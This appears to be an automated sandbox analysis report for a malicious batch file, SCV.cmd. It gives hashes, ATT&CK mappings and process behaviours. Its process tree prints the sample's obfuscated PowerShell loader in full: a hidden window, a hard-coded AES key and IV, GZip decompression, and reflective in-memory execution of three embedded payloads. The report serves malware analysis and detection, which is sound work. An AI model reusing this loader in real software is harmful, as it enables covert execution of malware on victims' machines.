1f788a79d0a95bd4957d5a9c3314a80aaf9acdd3bccaff916c4483a8c28a0485

General

Target

SCV.cmd
Size

537KB
MD5

d20bf8dba792e2edc3e0eb7e5c30b32b
SHA1

7094e6e59004962f3d3161aa3016ecfcf2b3a64f
SHA256

1f788a79d0a95bd4957d5a9c3314a80aaf9acdd3bccaff916c4483a8c28a0485
SHA512

c68d6aac5303c5d1b7ca42c310fa21fa62f0486a2d95bbfa7b0485969634b3fd9447a5cc79f6086954022080c91777f9acb40c3c2718b09d2dac75821c816a0f
SSDEEP

12288:100ynYtHxuu7eaSvaoBTiFrrdkrw1vH5FiaPQdgEMlB:10KtR3lehBAr/1vian1B

Score

3^/10

discovery

Malware Config

Signatures

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid	Process
1012	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid	Process
1012	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	1012	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

cmd.exe

description	pid	Process	procid_target
PID 2580 wrote to memory of 2140	2580	cmd.exe	31
PID 2580 wrote to memory of 2140	2580	cmd.exe	31
PID 2580 wrote to memory of 2140	2580	cmd.exe	31
PID 2580 wrote to memory of 1012	2580	cmd.exe	32
PID 2580 wrote to memory of 1012	2580	cmd.exe	32
PID 2580 wrote to memory of 1012	2580	cmd.exe	32
PID 2580 wrote to memory of 1012	2580	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\SCV.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('21+lHVoT1nOIUg8Jroa46Hm/UH9/i9xpWUh96ZETS7Q='); $aes_var.IV=[System.Convert]::FromBase64String('E1cBH4odW5y1kT4uMPBWSg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$dxBNu=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$Hocfu=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$PWlBw=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($dxBNu, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $PWlBw.CopyTo($Hocfu); $PWlBw.Dispose(); $dxBNu.Dispose(); $Hocfu.Dispose(); $Hocfu.ToArray();}function execute_function($param_var,$param2_var){ IEX '$ixgug=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$QSlWJ=$ixgug.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$QSlWJ.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$acAst = 'C:\Users\Admin\AppData\Local\Temp\SCV.cmd';$host.UI.RawUI.WindowTitle = $acAst;$XJQkp=[System.IO.File]::ReadAllText($acAst).Split([Environment]::NewLine);foreach ($ATsQv in $XJQkp) { if ($ATsQv.StartsWith('SwDUuRoqKFYQvQkNWaJm')) { $yiXjU=$ATsQv.Substring(20); break; }}$payloads_var=[string[]]$yiXjU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:2140
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1012-2-0x0000000073871000-0x0000000073872000-memory.dmp

Filesize
4KB

Download
memory/1012-3-0x0000000073870000-0x0000000073E1B000-memory.dmp

Filesize
5.7MB

Download
memory/1012-4-0x0000000073870000-0x0000000073E1B000-memory.dmp

Filesize
5.7MB

Download
memory/1012-5-0x0000000073870000-0x0000000073E1B000-memory.dmp

Filesize
5.7MB

Download
memory/1012-6-0x0000000073870000-0x0000000073E1B000-memory.dmp

Filesize
5.7MB

Download
memory/1012-7-0x0000000073870000-0x0000000073E1B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads